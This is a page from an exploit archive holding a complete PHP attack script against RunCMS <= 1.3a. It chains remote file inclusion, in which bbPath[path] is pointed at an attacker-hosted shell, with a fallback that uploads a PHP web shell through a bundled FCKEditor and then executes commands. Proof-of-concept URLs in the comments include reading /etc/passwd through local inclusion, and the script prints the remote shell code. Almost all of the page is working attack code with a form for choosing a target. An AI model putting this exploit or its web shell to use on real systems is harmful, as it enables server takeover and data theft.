RunCMS <= 1.2 (class.forumposts.php) Arbitrary Remote Inclusion Exploit

  Exploit Code :

<?php
# ---runcms_13a_xpl.php 17.30
09/02/2006 #
#
#
# RunCMS <= 1.2 arbitrary remote inclusion exploit
#
# " <= 1.3a shell upload through FCKEditor
#
# coded by rgod
#
# site: http://retrogod.altervista.org
#
#
#
# usage: launch from Apache, fill in requested fields, then go!
#
#
#
# Sun-Tzu: "But when the army is restless and distrustful, trouble is sure
to #
# come from the other feudal princes. This is simply bringing anarchy
into #
# the army, and flinging victory away."
#

/* a short explaination:

i) on unpatched <=1.2 versions I tested:

if register_globals = On & allow_url_fopen = On
arbitrary remote inclusion in
modules/newbb_plus/class/class.forumposts.php
at line 15:

...
include_once ($bbPath['path'].'/include/user_level.php');
...

and in modules/newbb_plus/class/forumpollrenderer.php
at line 14:

...

include_once($bbPath['path']."language/".$xoopsConfig['language']."/main.ph
p");
...

poc:

http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls
%20-la&bbPath[path]=http://somehost

http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=l
s%20-la&xoopsConfig[language]=suntzu&bbPath[path]=http://somehost/

where on [somehost] you have:

<?php
ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);d
ie;?>

in http://[somehost]/include/user_level.php/index.html
and in: http:/[somehost]/language/suntzu/main.php/index.html<br>

it seems this vulnerabilties has been patched from 1.3 version
and old packages <= 1.2 has been uptaded with new patches

ii) on unpatched <=1.2:
if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a
file
from local resources:

http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls
%20-la&bbPath[path]=../../../../../../test.php%00

http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=l
s%20-la&bbPath[path]=../../../../../../test.php%00

http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath
[path]=../../../../../../../../etc/passwd%00

http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPat
h[path]=../../../../../../../../etc/passwd%00

iii) on 1.3a version:

also, integrated in runCMS we have an old version of FCKEditor
(see this exploit link:
http://retrogod.altervista.org/fckeditor_22_xpl.html)
so you can upload files on target machine, .php3 files, .php5 and inc
files
call them directly (iii.a) and if not set as executable files on target
machine,
you can try local inclusion with versions <=1.2 (ii.b)

poc:
(iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la
(ii.b)
http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls
%20-la&bbPath[path]=[how far from runcms
root?]../../../UserFiles/File/shell.inc%00

http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=l
s%20-la&bbPath[path]=[how far from runcms
root?]../../../UserFiles/File/shell.inc%00

*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>********RunCMS <= 1.3a remote commands
execution********
</title><meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;
SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; }
img
{background-color: #FFFFFF !important} input {background-color:
#303030
!important} option { background-color: #303030 !important}
textarea
{background-color: #303030 !important} input {color: #1CB081 !important}
option
{color: #1CB081 !important} textarea {color: #1CB081 !important}
checkbox
{background-color: #303030 !important} select {font-weight: normal;
color:
#1CB081; background-color: #303030;} body {font-size: 8pt
!important;
background-color: #111111; body * {font-size: 8pt !important} h1
{font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size:
0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size:
0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size:
0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} *
{font-style:
normal !important} *{text-decoration: none !important}
a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration:
underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p
class="Stile6">
********RunCMS <= 1.3a remote commands execution*********</p><p
class="Stile6">a
script by rgod at <a
href="http://rgod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%"> <tr> <td
width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'">
<p><input
type="text" name="host"> <span class="Stile5">* hostname
(ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path
(ex:
/runcms/ or just / ) </span></p><p><input type="text" name="CMD">
<span
class="Stile5"> * specify a command </span></p> <p> <input
type="text"
name="LOCATION"><span class="Stile5">a remote location ( ex:
http://www.somesite
.com, without traling slashes) , if you leave empty STEP 1-2 will be
skipped...,
it works with versions <=1.2 </span></p><p><input type="text"
name="port"><span
class="Stile5">specify a port other than 80 (default value)</span> </p>
<p>
<input type="text" name="proxy"><span class="Stile5">send exploit
through an
HTTP proxy (ip:port)</span> </p> <p> <input type="submit"
name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>  </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
}
else {
echo "<td>".htmlentities($datai)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) .
"<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.rnReason: (".$result.") " .
socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}
function refresh()
{
flush();
ob_flush();
usleep(100000);
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$LOCATION=$_POST[LOCATION];
$CMD=$_POST[CMD];$proxy=$_POST[proxy];

echo "<span class="Stile5">";

if (($host<>'') and ($path<>'') and ($CMD<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error...
check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("n","",str_replace("r","",$host));
$path=str_replace("n","",str_replace("r","",$path));
$CMD=urlencode($CMD);

if ($LOCATION<>'')
{
# STEP 1 -> arbitrary remote inclusion in
modules/newbb_plus/class/class.forumposts.php
$packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
$packet.="cmd=$CMD&bbPath[path]=$LOCATION HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}

# STEP 2 -> arbitrary remote inclusion in
modules/newbb_plus/class/forumpollrenderer.php
$packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";

$packet.="cmd=$CMD&bbPath[path]=$LOCATION/&xoopsConfig[language]=suntzu
HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
//if you are here...
echo "Arbitrary remote inclusion failed... trying STEP 3 -> Uploading
a shell through FCKEditor<br>";
}

# STEP 3 -> Use FCKEditor to upload malicious code
$SHELL ="<?php echo
chr(72)."iMaster!";ini_set("max_execution_time",0);error_reporting(0);";
$SHELL.="phpinfo();passthru($HTTP_GET_VARS[cmd]);?>";
//we try to guess allowed extensions...
// you should succeed with .php3
$extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4',
'.php2', '.inc');
//add what you want
//'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 -
2.0fc
//empty for 2.2
$upload_command= array('FileUpload','');
$path_to_shell="/UserFiles/File/"; //default one: if different, script
will find it
//calculate how far we are from site root
$cc=explode("/",$path);
$ccc=count($cc)-2;
$back="";
for ($xx=1; $xx<=$ccc; $xx++) { $back.="../";}
for ($x=0; $x<=count($extensions)-1; $x++)
{
for ($y=0; $y<=1; $y++)
{
# STEP 3a -> Upload the shell
srand(make_seed());
$anumber = rand(1,9999);
$filename="suntzu".$anumber.$extensions[$x];
$data="-----------------------------7d529a1d23092arn";
$data.="Content-Disposition: form-data; name="NewFile";
filename="$filename"rn";
$data.="Content-Type:rnrn";
$data.="$SHELLrn";
$data.="-----------------------------7d529a1d23092a--rn";
$packet="POST
".$p."class/fckeditor/editor/filemanager/browser/default/connectors/php/";

$packet.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFo
lder= HTTP/1.1rn";
$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d529a1d23092arn";
$packet.="User-Agent: Sun-tzu giving you the painrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
show($packet);
sendpacketii($packet);
if (!eregi("200 OK",$html)) {die("Cannot find
connector.php...<br>");}
if (eregi("This connector is disabled",$html)) {echo "Exploit
failed... -> php connector not enabled";die;}
if (eregi("url="",$html))
{
$temp=explode("url="",$html);
$temp2=explode(""",$temp[1]);
$path_to_shell=$temp2[0];
}
echo "<br>path where I search shell:
".htmlentities($path_to_shell)."<br>";
# STEP 3b -> Launch commands...
#by default a "UserFiles/File/" dir is generated inside site root
when you upload
#files, this dir is not protected by an .htaccess file or whatever
$packet="GET ".$path_to_shell.$filename."?cmd=$CMD HTTP/1.1rn";
$packet.="User-Agent: GoogleBot/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("200 OK",$html)){
if (eregi("HiMaster!",$html))
{ echo "Exploit succeeded...<br>";
echo "we have a shell in
http://".$host.$path_to_shell.$filename."<br>";
echo "we should have phpinfo() here, see
html...<br>";
die;
}
else
{
echo "Successfully uploaded...<br>
but is not an executable on target server...<br>
let's try to include it...<br>
";
# STEP 3c
$packet="GET
".$p."modules/newbb_plus/class/class.forumposts.php?";

$packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename
."%00 HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo
"Exploit succeeded...";die;}
# STEP 3d
$packet="GET
".$p."modules/newbb_plus/class/forumpollrenderer.php?";

$packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename
."%00 HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo
"Exploit succeeded...";die;}
}
}
refresh();
}
}
//if you are here
echo "Exploit failed...";

}
else
{echo "Note: on remote location prepare this code in<br>
http:/[remote_location]/include/user_level.php/index.html<br>
and in:<br>
http:/[remote_location]/language/suntzu/main.php/index.html<br>
";
echo nl2br(htmlentities("
<?php

ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);d
ie;
?>
"));
echo "<br>Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason